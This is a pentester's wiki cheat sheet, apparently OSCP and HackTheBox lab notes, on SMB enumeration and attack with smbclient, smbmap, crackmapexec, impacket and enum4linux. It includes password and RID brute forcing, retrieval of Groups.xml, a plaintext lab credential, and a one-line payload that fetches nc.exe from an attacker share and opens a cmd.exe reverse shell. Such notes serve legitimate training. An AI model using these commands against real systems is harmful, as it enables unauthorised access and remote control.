Skip to content

Samba SMB

Alvin Smith edited this page Sep 18, 2022 · 47 revisions

Some equivalent command pairs

smbclient
  • smbclient -N -L \\\\10.10.10.103 list or connect with sharename smbclient \\\\active.htb\\Replication
  • smbclient //10.10.210.209/milesdyson -U=milesdyson%)s{A&2Z=F^n_E.B
smbclient recurse download
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
smbget
  • smbget -R smb://10.10.210.209/milesdyson/notes/important.txt -U=milesdyson%)s{A&2Z=F^n_E.B

Get Sharenames (-U is optional)

  • smbclient -L 10.10.1.X -U=svc-admin%'password'
  • smbmap -H active.htb or smbmap -H ip -u '' or null smbmap -H ip -u null -p ''
  • crackmapexec smb <IP> --shares

Enumerate valid domain users (mainly for AD)

python3 /usr/share/doc/python3-impacket/examples/lookupsid.py anonymous@10.10.171.0 | tee usernames
cat usernames | grep SidTypeUser  |gawk -F '\' '{ print $2 }' |gawk -F ' ' '{ print $1 }' |tee usernames

or 

crackmapexec smb 10.10.222.122 -u 'guest' -p '' --rid-brute

List share contents

  • smbmap -R Share\Path -H <IP> --depth 10
  • smbmap -R Replication -H active.htb --depth 10

Download without connect

smbmap -R Replication -H active.htb -A Groups.xml -q --depth 10
just in case not downloaded under working directory

updatedb && locate Groups.xml


Connect to a share (-U is optional)

smbclient \\\\10.10.1.228\\Sharename -U=svc-admin%'pw'


Brute force via CrackmapexecPermalink

crackmapexec smb/ssh <IP> -d <DOMAIN> -u user/file -p rockyou.txt

https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials,-NULL-Sessions,-PtH-Attacks

Download payload and trigger the reverse shell

python /some/path/impacket/examples/smbserver.py share .

// on windows target or RCE
copy \\<attackIP>\share\nc.exe C:\nc.exe;C:\nc.exe <attackIP> <PORT> -e cmd.exe

Connect to RPC - TCP 445

rpcclient -U "" -N $IP #No creds

https://book.hacktricks.xyz/pentesting/pentesting-smb#obtain-information

enum4linux

https://github.com/CiscoCXSecurity/enum4linux

enum4linux -a -M -l -d <IP> 2>&1 | tee "/home/user/scans/enum4linux.txt"

Exploit SMB cron mail

#!/usr/bin/env python3 
import smtplib

host = '127.0.0.1'
port = 25

From = 'send@domain.alvin'
To = 'to@domain.alvin'

Message = '''\
		Subject: HI ALVIN
'''

try:
	io = smtplib.SMTP(host,port)
	io.ehlo()
	io.sendmail(From,To,Message)
except Exceptions as e:
	print (e)
finally:
	io.quit()

Mount

SMB

HackTheBox/Windows/Bastion/README.md
sudo mount -t cifs //10.129.1.39/shares /mnt/csharename
Save a tree from mount

find . -ls | tee ~/home/alvin/tree.txt


NFS

HackTheBox/Windows/Remote/README.md

Check founding

vhd Virtual Hard Drive

List or Mount
7z l *.vhd 
guestmount

Viewing permissions of a SMB Share with SMBCACLS

https://github.com/A1vinSmith/OSCP-PWK/tree/master/HackTheBox/Windows/Sizzle

smbcacls -N '//10.129.230.198/Department Shares' Users

for i in $(ls); do echo $i; smbcacls -N '//10.129.230.198/Department Shares' $i; done

smbcacls -N '//10.129.230.198/Department Shares' Users/Public

CheatSheet

https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf